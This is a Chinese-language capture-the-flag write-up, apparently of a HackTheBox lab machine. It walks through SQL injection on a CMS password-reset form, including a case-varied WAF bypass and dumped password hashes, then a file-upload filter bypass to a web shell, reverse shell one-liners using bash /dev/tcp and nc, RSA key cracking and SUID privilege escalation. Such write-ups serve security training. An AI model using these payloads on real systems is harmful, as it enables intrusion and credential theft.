nmap发现开放了OpenSSH和Apache服务。
访问80端口,发现是一个cms界面。
翻了一下,没有可用的地方。
使用gobuster进行目录扫描
gobuster dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
扫描发现存在cmsdata目录。
访问一下,发现是一个登录框,测试几个弱口令没成功。
发现有一个忘记密码功能。butp抓包测试sql注入。
输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。
使用limit进行判断字段。
使用脚本枚举出了可用的用户名。
for i in{1..1000};do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"[email protected]' or 1=1 limit ${i},1;-- -" | grep'<h2>' | awk'{print $5}' | grep-v"^with"||break;done
for i in $(seq 0 300); do
payload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done
经过测试,发现在查到第4位的时候会出现报错。
猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行测试,可以成功测试注入。
使用脚本探测那一列是电子邮箱的地址。
for i in $(seq 0 300); dopayload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done
发现到了第四列的时候,出现了有关邮箱的格式。
使用脚本枚举数据库。
for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "[email protected]' UNiON SELECT 1,schema_name,3,'[email protected]' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2
使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。
联合查询获取用户名和密码。
查找管理员用户名和密码。
super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8
成功登录之后,发现存在一个上传地址。
对php格式的文件进行测试,发现不能成功上传。
测试.php.jpg格式的文件进行上传,可以上传不能解析。
服务器通常通过三种方式过滤文件类型:
● 文件扩展名
● 内容类型
● 魔术字节/MIME 类型
我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。
6.文件上传bypass
发现返回包,存在一个字段类似于base64加密的。
使用echo进行base64解密。
然后修改name格式,进行上传。
不能成功上传。
然后先设置burp,接收响应包的内容。
1.修改前端代码绕过文件上传
将name修改为testfile1
然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。
在上传之后可以利用cmd去执行一些命令。
bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc进行监听
成功反弹shell。
翻文件,发现在home/decoder目录下存在2个密钥。
8.使用nc下载文件
使用RsaCtfTool进行暴力破解
安装步骤:
(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)
成功解密。
获取第一个flag(user.txt)。
find / -perm-4000-ls 2>/dev/null
发现supershell可以利用。
利用supershell成功读到了root.txt,成功获得了第二个flag。